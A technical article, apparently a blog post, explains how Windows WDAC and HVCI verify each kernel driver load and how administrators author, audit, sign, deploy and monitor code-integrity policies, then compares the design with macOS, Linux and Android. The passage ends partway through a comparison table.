&lt;p&gt;Open &lt;code&gt;Process Monitor&lt;/code&gt;, watch a kernel driver load, and the human-readable output is &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; returns success. Open &lt;code&gt;WinDbg&lt;/code&gt; against a kernel-mode debugger session, set a breakpoint on &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, watch the same load, and roughly forty distinct trust decisions happen between &lt;code&gt;NtCreateSection&lt;/code&gt; and the moment the driver&apos;s &lt;code&gt;DriverEntry&lt;/code&gt; is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.&lt;/p&gt;
&lt;p&gt;The first step is &lt;code&gt;NtCreateSection&lt;/code&gt;. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature&apos;s PKCS#7 envelope. Step two: &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt; calls into &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview] under &lt;code&gt;\Windows\System32\&lt;/code&gt;. &lt;code&gt;CI.dll&lt;/code&gt; builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;.The exact function names here -- &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, &lt;code&gt;CipMincryptValidateImageHeader&lt;/code&gt; -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level &quot;kernel mode code integrity process&quot; terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.&lt;/p&gt;
&lt;p&gt;Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a &lt;em&gt;secure call&lt;/em&gt; -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].&lt;/p&gt;
&lt;p&gt;In step five, &lt;code&gt;SkCi.dll&lt;/code&gt; [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy&apos;s &lt;code&gt;HvciOptions&lt;/code&gt; element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.&lt;/p&gt;
&lt;p&gt;Step six returns control to the loader; the driver&apos;s image is now executable in VTL0 and its pages are read-only from VTL0&apos;s perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (&lt;code&gt;hvix64.exe&lt;/code&gt; on Intel, &lt;code&gt;hvax64.exe&lt;/code&gt; on AMD), not by the kernel that the attacker may already control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.&lt;/p&gt;
&lt;/blockquote&gt;

sequenceDiagram
    participant L as NT Loader
    participant CI as CI.dll (VTL0)
    participant Pol as Active policy state
    participant Hv as Hypervisor (hvix64.exe)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as SLAT page tables
    L-&amp;gt;&amp;gt;CI: NtCreateSection(image)
    CI-&amp;gt;&amp;gt;CI: Parse Authenticode + page-hash table
    CI-&amp;gt;&amp;gt;Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\
    Pol--&amp;gt;&amp;gt;CI: Verdict (deny / allow / signer / ISG)
    CI-&amp;gt;&amp;gt;Hv: Secure call: revalidate this kernel image
    Hv-&amp;gt;&amp;gt;Sk: Forward to VTL1
    Sk-&amp;gt;&amp;gt;Sk: Re-check signature + Block List
    Sk--&amp;gt;&amp;gt;Hv: PASS or FAIL
    Hv-&amp;gt;&amp;gt;SLAT: If PASS, flip page state W -&amp;gt; X (read-only execute)
    SLAT--&amp;gt;&amp;gt;L: DriverEntry executes in VTL0
    Note over SLAT,Hv: Future VTL0 write to these pages -&amp;gt; SLAT page-fault
&lt;p&gt;The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;File path&lt;/th&gt;
&lt;th&gt;Event on failure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;NT loader&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\ntoskrnl.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(kernel STATUS code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CI engine&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CI.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3023 (audit) / 3024 (enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Policy state&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3076 (UMCI) / 3077 (UMCI enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Secure call&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\securekernel.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(cross-VTL trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Secure CI&lt;/td&gt;
&lt;td&gt;VTL1-resident &lt;code&gt;SkCi.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3033 (driver block) / 3034 (driver audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Hypervisor SLAT flip&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\hvix64.exe&lt;/code&gt; / &lt;code&gt;hvax64.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(hypervisor trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Page-fault safety net&lt;/td&gt;
&lt;td&gt;Hypervisor&lt;/td&gt;
&lt;td&gt;SLAT violation crash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS&apos;s own page tables. Because SLAT entries are *under* the OS&apos;s view, a kernel attacker in VTL0 can change the OS&apos;s page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections.

The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.
&lt;p&gt;The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\Microsoft\Windows\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
  1: &apos;Hypervisor support (VBS-capable CPU)&apos;,
  2: &apos;Secure Boot is available&apos;,
  3: &apos;DMA protection is available&apos;,
  4: &apos;Secure Memory Overwrite is available&apos;,
  5: &apos;NX protections are available&apos;,
  6: &apos;SMM mitigations are available&apos;,
  7: &apos;MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)&apos;,
  8: &apos;APIC virtualization is available&apos;,
};&lt;/p&gt;
&lt;p&gt;// Pretend we just received this from a remote endpoint:
const sample = {
  AvailableSecurityProperties: [1, 2, 3, 5, 7],
  VirtualizationBasedSecurityStatus: 2, // 2 = running
  SecurityServicesRunning: [2],         // 2 = HVCI active
};&lt;/p&gt;
&lt;p&gt;console.log(&apos;VBS status:&apos;,
  sample.VirtualizationBasedSecurityStatus === 2 ? &apos;RUNNING&apos; : &apos;OFF&apos;);
console.log(&apos;HVCI:&apos;,
  sample.SecurityServicesRunning.includes(2) ? &apos;ACTIVE&apos; : &apos;INACTIVE&apos;);
console.log(&apos;Capabilities:&apos;);
for (const id of sample.AvailableSecurityProperties) {
  console.log(&apos;  -&apos;, SECURITY_PROPS[id] || (&apos;unknown:&apos; + id));
}
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Joanna Rutkowska&apos;s Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker&apos;s substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska&apos;s rootkit possible is the hardware feature that makes HVCI&apos;s W$\oplus$X invariant enforceable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We now have an answer to the question that opened section one. When &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; loaded against a default Windows 11 24H2 box with HVCI on, step five happened. &lt;code&gt;SkCi.dll&lt;/code&gt; consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to &lt;em&gt;operate&lt;/em&gt; it.&lt;/p&gt;
&lt;h2&gt;6. State of the Art: Authoring, Signing, Deploying, Monitoring&lt;/h2&gt;
&lt;p&gt;Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.&lt;/p&gt;
&lt;h3&gt;6.1 Authoring&lt;/h3&gt;
&lt;p&gt;Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under &lt;code&gt;%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\&lt;/code&gt;. The directory contains &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; (a sane starting allowlist that runs in audit mode), &lt;code&gt;AllowMicrosoft.xml&lt;/code&gt;, &lt;code&gt;AllowAll.xml&lt;/code&gt;, &lt;code&gt;AllowAll_EnableHVCI.xml&lt;/code&gt;, &lt;code&gt;DenyAllAudit.xml&lt;/code&gt;, and the canonical &lt;code&gt;SmartAppControl.xml&lt;/code&gt; / &lt;code&gt;SignedReputable.xml&lt;/code&gt; [@ms-example-policies] consumer-grade template. There is also &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates &lt;code&gt;WinSiPolicy.xml&lt;/code&gt; and &lt;code&gt;WinSEPolicy.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The PowerShell call that mints a new base policy is &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. The &lt;code&gt;-Level&lt;/code&gt; flag picks one of the eight rule-level identities [@ms-rule-options] -- &lt;code&gt;Hash&lt;/code&gt;, &lt;code&gt;FilePath&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, &lt;code&gt;FilePublisher&lt;/code&gt;, &lt;code&gt;LeafCertificate&lt;/code&gt;, &lt;code&gt;PcaCertificate&lt;/code&gt;, &lt;code&gt;RootCertificate&lt;/code&gt;, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. &lt;code&gt;FilePublisher&lt;/code&gt; is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded &quot;anything from this signer&quot; allowance.&lt;/p&gt;

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a &quot;trusted&quot; attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to &quot;how do you deploy software to a fleet that runs an enforced WDAC policy.&quot;
&lt;h3&gt;6.2 Audit-mode discovery&lt;/h3&gt;
&lt;p&gt;Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: &quot;We recommend that you use &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn&apos;t allowed by the policy.&quot; &lt;code&gt;Set-RuleOption -Option 3&lt;/code&gt; on the policy XML enables audit mode; &lt;code&gt;Set-RuleOption -Option 3 -Delete&lt;/code&gt; removes it and switches the policy into enforce mode. In between, the SOC harvests &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event 3076 entries with &lt;code&gt;Get-WinEvent&lt;/code&gt;, and &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; mints a &lt;em&gt;discovery&lt;/em&gt; policy from the observed blocks that you can merge into the base.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate &lt;code&gt;New-CIPolicy -Audit -&amp;gt; merge -&amp;gt; redeploy&lt;/code&gt; until the audit-event volume goes near-zero. &lt;em&gt;Then&lt;/em&gt; delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 Signing&lt;/h3&gt;
&lt;p&gt;A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: &lt;code&gt;Add-SignerRule -Update&lt;/code&gt; to add the signer that may replace the policy in future, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt; to drop &quot;Enabled:Unsigned System Integrity Policy&quot; so the policy refuses to load unless signed, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt; to produce the binary &lt;code&gt;.cip&lt;/code&gt;, and &lt;code&gt;signtool.exe&lt;/code&gt; with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy&apos;s &lt;code&gt;VersionEx&lt;/code&gt; must be monotonically increasing across replacements.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A botched signed-policy update -- a &lt;code&gt;VersionEx&lt;/code&gt; rollback, a wrong signer, a missing &lt;code&gt;UpdatePolicySigner&lt;/code&gt; for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset &lt;em&gt;before&lt;/em&gt; fleet rollout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 Deployment and stacking&lt;/h3&gt;
&lt;p&gt;Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (&lt;code&gt;&amp;lt;SupplementalPolicySigner&amp;gt;&lt;/code&gt;) lets a divisional supplemental policy union into a corporate base. The &lt;code&gt;&amp;lt;HvciOptions&amp;gt;&lt;/code&gt; element toggles HVCI from inside the policy XML itself. The published &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] policy is designed to stack alongside an organisation&apos;s allowlist without merging.&lt;/p&gt;
&lt;p&gt;Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager&apos;s App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.&lt;/p&gt;

flowchart LR
    A[DefaultWindows_Audit.xml]
    B[Set-RuleOption -Option 3&lt;br /&gt;Deploy in audit mode]
    C[Get-WinEvent CodeIntegrity-Operational&lt;br /&gt;collect event 3076]
    D[New-CIPolicy -Audit&lt;br /&gt;mint supplemental from blocks]
    E[Merge supplemental + base]
    F[Set-RuleOption -Option 3 -Delete]
    G[ConvertFrom-CIPolicy + signtool]
    H[Deploy enforced via Intune / ConfigMgr]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; C
    E --&amp;gt; F --&amp;gt; G --&amp;gt; H
&lt;h3&gt;6.5 Monitoring&lt;/h3&gt;
&lt;p&gt;Monitoring rests on two telemetry sources. The first is the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the &lt;code&gt;DeviceEvents&lt;/code&gt; table carries &lt;code&gt;AppControlExecutableAudited&lt;/code&gt;, &lt;code&gt;AppControlExecutableBlocked&lt;/code&gt;, and &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; rows. The two stitch together: a single 3033 event on the endpoint maps to a single &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; row in the SIEM.&lt;/p&gt;
&lt;p&gt;The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] -- &lt;em&gt;Block abuse of exploited vulnerable signed drivers&lt;/em&gt;. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.&lt;/p&gt;

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Audience&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;3023&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver would have been blocked (audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3024&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3033&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked by Block List rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3034&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver allowed but matched audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3076&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process would have been blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3077&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a &lt;code&gt;New-CIPolicy -Level FilePublisher&lt;/code&gt; invocation extracts from a PE binary.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
  return {
    O: pe.signer.organization,
    CN: pe.signer.commonName,
    ProductName: pe.versionInfo.productName,
    BinaryName: pe.versionInfo.originalFilename,
    MinimumVersion: pe.versionInfo.fileVersion,
  };
}&lt;/p&gt;
&lt;p&gt;const peSample = {
  signer: { organization: &apos;Microsoft Corporation&apos;, commonName: &apos;Microsoft Windows&apos; },
  versionInfo: {
    productName: &apos;Microsoft Windows Operating System&apos;,
    originalFilename: &apos;powershell.exe&apos;,
    fileVersion: &apos;10.0.26100.1&apos;,
  },
};&lt;/p&gt;
&lt;p&gt;const rule = filePublisherRule(peSample);
console.log(&apos;Generated FilePublisher rule:&apos;);
for (const [k, v] of Object.entries(rule)) console.log(&apos;  &apos; + k + &apos; = &apos; + v);
console.log(&apos;Anything at or above version&apos;, rule.MinimumVersion, &apos;will satisfy this rule.&apos;);
`}&lt;/p&gt;
&lt;p&gt;The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same &lt;code&gt;CI.dll&lt;/code&gt; against an example policy (&lt;code&gt;SmartAppControl.xml&lt;/code&gt;, also shipped as &lt;code&gt;SignedReputable.xml&lt;/code&gt;). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, &quot;no way to bypass Smart App Control protection for individual apps.&quot;&lt;/p&gt;
&lt;p&gt;WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.&lt;/p&gt;
&lt;h2&gt;7. Competing Approaches: Apple, Linux, Android&lt;/h2&gt;
&lt;p&gt;Three other major operating systems answer the question &quot;which code is allowed to run on this device.&quot; None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS&lt;/strong&gt; combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt; ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and &lt;code&gt;dm-verity&lt;/code&gt; [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC&apos;s audit pipeline: it can &lt;em&gt;collect&lt;/em&gt; file measurements, &lt;em&gt;store&lt;/em&gt; them in a kernel-resident list (and extend a TPM PCR if hardware is present), &lt;em&gt;attest&lt;/em&gt; them remotely, and &lt;em&gt;appraise&lt;/em&gt; them against a &quot;good&quot; value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing&apos;s TDX or SEV-SNP overlay, and that is opt-in.&lt;/p&gt;

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].
&lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt; combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Windows (WDAC + HVCI)&lt;/th&gt;
&lt;th&gt;macOS&lt;/th&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Tenant-authored policy&lt;/td&gt;
&lt;td&gt;Yes (XML)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (IMA appraise)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hypervisor-rooted enforcement&lt;/td&gt;
&lt;td&gt;Yes (VTL1)&lt;/td&gt;
&lt;td&gt;No (silicon-rooted)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-page W$\oplus$X for kernel&lt;/td&gt;
&lt;td&gt;Yes (HVCI)&lt;/td&gt;
&lt;td&gt;Yes (KIP, fixed)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sealed system image&lt;/td&gt;
&lt;td&gt;No (modular)&lt;/td&gt;
&lt;td&gt;Yes (sealed APFS)&lt;/td&gt;
&lt;td&gt;Optional (dm-verity)&lt;/td&gt;
&lt;td&gt;Yes (Verified Boot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-load runtime check&lt;/td&gt;
&lt;td&gt;Yes (every PE)&lt;/td&gt;
&lt;td&gt;Yes (every Mach-O)&lt;/td&gt;
&lt;td&gt;Optional (IMA)&lt;/td&gt;
&lt;td&gt;App install / Zygote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust anchor&lt;/td&gt;
&lt;td&gt;Microsoft + tenant&lt;/td&gt;
&lt;td&gt;Apple only&lt;/td&gt;
&lt;td&gt;TPM PCR / tenant&lt;/td&gt;
&lt;td&gt;AVB key + Google Play&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documented bypass class&lt;/td&gt;
&lt;td&gt;LOLBINs + BYOVD&lt;/td&gt;
&lt;td&gt;Notarization gaps&lt;/td&gt;
